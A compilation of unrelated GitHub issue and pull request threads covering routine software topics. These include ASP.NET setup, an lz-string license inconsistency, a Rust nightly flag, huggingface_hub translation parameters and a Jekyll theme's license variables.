It's not, it using those assemblies as the seed and finding all libraries that reference them in order to find controllers. Take a closer look.

Ok - and how do I get hold of an ILibraryManager at the ConfigureServices stage in Mvc?

You can take it as a parameter to the Startup constructor.

Perfect. That worked a treat.


adds daterangepicker custom input type

valueOut is a date array (from-to), options not supported yet but moving quickly to cover this

Thanks!


Fixed alignment of Player Components after merging with Updating-Uno-…

…Table-Appearance
After merging with main and its updated components. The Position of the Player's Components were brought towards the center. In this update I pushed them back to the perimeter of the table.


Adjust requirements in order to build (2023/06/11)

Adjust requirements according to the up-to-date version of gradio and transformers
Replace
README.md & README_en.md in composite_demo to meet the web demo setup (main.py --> web_demo.py)

Thanks for your contribution!
But i don't quite understand why it's necessary to change main.py to web_demo.py.

我们发现这份PR并没有解决太多原始代码的问题，原本的依赖也能正常使用。因此，我们先关闭这个PR


fixed account creation issues + #72

I just fixed the merge conflict. I think the seed.js on main has actual picture for the events. So, I deleted your placeholder link and kept the pictures in main.


attributes in card not available

hello, after updating 0.0.6 with the card I receive everything not available on the attributes as per screenshot

I also updated the card https://github.com/dckiller51/lovelace-body-miscale-card

I also updated the card https://github.com/dckiller51/lovelace-body-miscale-card

I have updated both the card and the component but everything is not available, this however without weighing me, and the old weighing

Can you show me your card configuration?

Can you show me your card configuration?

As I suspected, with a new weigh it worked

Ah same problem via the application but works well on a browser. I am looking tomorrow.
CHROME :

APP ANDROID:

Thank you very much and have a nice day

It is also the cache to empty in the android application


License Inconsistencies

This project currently lists 2 different licenses depending on where you look.
The "LICENSE" flie has a standard MIT license dated 2013, and this is supported by "MIT" as the license type in the package.json.
The project index page however, which is the authoritative entry point to the project includes the following:
// Copyright (c) 2013 Pieroxy<EMAIL_ADDRESS>// This work is free. You can redistribute it and/or modify it
// under the terms of the WTFPL, Version 2
// For more information see LICENSE.txt or http://www.wtfpl.net/
//
// For more information, the home page:
// http://pieroxy.net/blog/pages/lz-string/testing.html
//
// LZ-based compression algorithm, version 1.4.5
This block of text has 3 primary issues.

It has the same year as the MIT, so it is not clear which is the current license.
LICENSE.txt does not exist.
http://www.wtfpl.net/ does not load, and is generally considered a tongue-in-cheek non-license.

I propose MIT is made the authoritative license and all references to others are updated to align.

Already on this - we're under the MIT, and I need to go through and add a file header to everything and correct anything wrong - but thank you for creating a ticket for me to track it!

Thank you for this library!!!
But this issue is not solved completly 🤣
lz-string.js
...
under the terms of the WTFPL, Version 2
...
LZ-based compression algorithm, version 1.4.5

@Georg-Git Where is that file in the repo? 👀

https://github.com/pieroxy/lz-string/archive/refs/tags/1.5.0.zip
lz-string-1.5.0.zip:
lz-string-1.5.0/libs/lz-string.js

@Georg-Git That's not in the source, it would be inside https://github.com/pieroxy/lz-string/blob/ if it was - that's historical versions, and you cannot retrospectively change the license on them.


Export flag to check if rustc is a nightly

Since using unstable features (typically) requires a nightly toolchain,
check by matching against the -nightly suffix of the rustc version and
export that information as a new flag Rust_IS_NIGHTLY to users.
A user could then conditionally enable unstable features, by selecting a
corresponding feature via corrosion.
It seems that currently variables such as Rust_VERSION are not documented, so I also did not add documentation for this new flag. Would you accept an MR that documents the Rust_ variables that FindRust.cmake provides?

Looks alright, thank you.
The CI failure must be unrelated.

I'm merging this since the CI faillure was unrelated.


TypeError: Cannot read property 'onMessageReceived' of undefined

TypeError: Cannot read property 'onMessageReceived' of undefined

This is insufficient information for an issue - the issue template exists in order that all necessary information is supplied.
Most likely the plugin or Typescript wrapper is not installed properly in your project. Please see the example project for an example of how to use this plugin.


Change footer position

The footer leaves a space at the end; I want to change it.
Can you assign it to me?

#95 works on something similar, please add this comment there @ks20soni . Thanks


[T2A5][T06-A1] Lim Wei Jie

Finish Sort Edit and improved find

Ready to commit

Very good implementations of the extra features. Some methods can be further refactored such as executeEditPersonDetails by extracting into methods. Overall, excellent!


GPT-2

I felt like this missed an opportunity to be ran with any open source model like gpt-2 to avoid "closedai" tracking everything you do, just a suggestion nothing else.

Thanks for this. I'll try to add this in the upcoming commits.
If you need it for now, you can make some changes in chatgpt_completion() (https://github.com/GreyDGL/PentestGPT/blob/ae4c94c9f66ead200450e2d46e27644a35c1f383/utils/chatgpt_api.py#L51), and update the model to the one you want.


Support src_lang/tgt_lang in InferenceClient.translation()

Originally from @LysandreJik :
For some models (and some models only), it is possible to specify a source and target language in transformers and InferenceAPI. It would be nice to support it in InferenceClient as well. Example: facebook/mbart-large-50-many-to-many-mmt
from huggingface_hub import InferenceClient

data = InferenceClient().post(
    json={
        "inputs": "My name is Sarah Jessica Parker but you can call me Jessica",
        "parameters": {"src_lang": "en_XX", "tgt_lang": "fr_XX"},
    },
    model="https://api-inference.huggingface.co/models/facebook/mbart-large-50-many-to-many-mmt",
)

print(data)

b'[{"translation_text":"Mon nom est Sarah Jessica Parker mais vous pouvez m\'appeler Jessica"}]'

TODO:

[ ] add both parameters src_lang: Optional[str] = None and tgt_lang: Optional[str] = None to InferenceClient.translation
[ ] raise a ValueError if only one of them is set but not the other (?)
[ ] send them as "parameters" only if not None
[ ] add test with facebook/mbart-large-50-many-to-many-mmt
[ ] update docstring

@Wauplin I'd like to work on this. Could you tell me how I can find all the models which support these params?

Hi @AkshathRaghav, thanks for proposing your help on this one! :pray: Unfortunately, there is no easy way to list models supporting these parameters. This is why it should be made clear in the docstring that it is at the user discretion to select a model that handles them. In general, the information will be found in the Model Card of the model on the Hub (along with the list of support language codes).
Therefore as a first step, I would simply implement the feature in InferenceClient for users that want to use it. Then in a second time, and if there is some demand, we could try to find a way to suggest models that support them but it's not trivial (that's the counterpart of having a versatile transformers library).

Closing this issue thanks to https://github.com/huggingface/huggingface_hub/pull/1869 by @ceferisbarov ! :rocket:
>>> from huggingface_hub import InferenceClient
>>> client = InferenceClient()
>>> client.translation("My name is Sarah Jessica Parker but you can call me Jessica", model="facebook/mbart-large-50-many-to-many-mmt", src_lang="en_XX", tgt_lang="fr_XX")
"Mon nom est Sarah Jessica Parker mais vous pouvez m'appeler Jessica"
>>> client.translation("My name is Sarah Jessica Parker but you can call me Jessica", model="facebook/mbart-large-50-many-to-many-mmt", src_lang="en_XX", tgt_lang="es_XX")
'Mi nombre es Sarah Jessica Parker pero puedes llamarme Jessica'


Bugfix: Disconnect callbacks on object deletion in special functions from event_utils

Fixes/Closes
Closes #5808
Description
Adds cleaning callback steps on object deletion and adds proper tests.
References
Type of change

[x] Bug-fix (non-breaking change which fixes an issue)

How has this been tested?

[x] example: added tests to cover the bug and fix
[x] example: all tests pass with my change

Final checklist:

[x] My PR is the minimum possible work for the desired functionality
[x] I have commented my code, particularly in hard-to-understand areas

@Czaki I cleaned up the title and OP plus the comment.

I have updated the title as methods is the name for functions bound to the class. I have hope that I do not break the title. Could you check?

@jni read comment in the first function. I may copy it to all. The general problem is that the proper way to do this is to use finalize, but it causes segfaults. I have a hope that Qt6 may work for this better, so I prefer not to remove it but left commented until drop qt5/


Add the ggmice package to the mice entry in the list of software?

Please ensure your pull request adheres to the following guidelines:

[x] Why do you think your project is a great addition? The packages provides visualizations for missing and imputed data, which may be useful in many analysis workflows
[x] Use the following format for adding repositories: - [repository_name](repository_link) - short description of the repository I didn't, because it's part of the mice universe which is already included in the list
[x] Repositories should be added alphabetically in the relevant category. Not applicable
[x] New categories or improvements to the existing categorization are welcome. Not applicable
[x] For collaboration groups, add only the github organization and a description of the organization. Not applicable

Thanks for contributing!

Thanks!


Add copyright/license statement on GitHub pages sites

The rc-workshop-template repository functions as a remote Jekyll theme: changes to _layouts/ affect all Research Commons sites, since the line remote_theme: ubc-library-rc/rc-workshop-template is added to each repo's _config.yml file during setup.
RC sites may have different licenses. To generate site-specific copyright/license statements I added three custom variables to _config.yml
# license information for workshop content
license_name: "Creative Commons Attribution 4.0 International License"
license_url: "http://creativecommons.org/licenses/by/4.0/"
license_image_url: "https://i.creativecommons.org/l/by/4.0/88x31.png"

I updated  _layouts/default.html to generate site-specific copyright statements from these variables, adjusting if variables are missing (see c052d75 for initial implementation, refined in d196bc1).
The instructions for creating new sites reflect these changes (6518211). To add a copyright statement to an existing RC site add the block above to its _config.yml file, changing the values if desired.

The license_image_url variable calls for a link to a license image. A note in the instructions indicates images should be at most 150px wide, but there are no actual constraints on image size in _layouts/default.html.
It would be good to add something to make sure large images don't affect site formatting.

So, @JeremyBuhler , how do we ensure that each workshop landing page reflects that Copyright statement? Up to the Team Leads to add?

Yes, @eugene-barsky, that was my intention for existing pages. Team leads would update the workshops they're responsible for and I will do the TLEF set. I'll send everyone more detailed instructions by email.
For new sites, the step-by-step instructions for creating a site now include copyright setup: https://ubc-library-rc.github.io/rc-workshop-template/


Suggest Gate Simplifications

Currently, one works with a grid which is a 2D matrix whose elements are strings corresponding to the circuit occupying the position.
When Gate Suggestions is enabled in the GUI through a toggleable selection box, every 2 circuit placements will generate a suggestion list if one exists for simplifying the elements in the current grid.
The problem of Quantum Circuit Simplification is NP-complete, but some heuristics exist which can significantly simplify the computation required for simulation.
Some research papers on the matter:

https://ieeexplore.ieee.org/document/1395758

https://citeseerx.ist.psu.edu/viewdoc/download?doi=<IP_ADDRESS>.1332&rep=rep1&type=pdf

https://www.nature.com/articles/s41598-020-72469-7

Even if these higher-level approachs prove to difficult to implement, simple simplifications like that, if any part of the circuit is the adjoint of itself, the computation is effectively undone may prove useful to our target audience. The later suggests can be solved through a trivial expansion of the chain multiplication dynamic programming problem.
The user would be given the suggestion either on the designer itself or through a pop-up window.

Done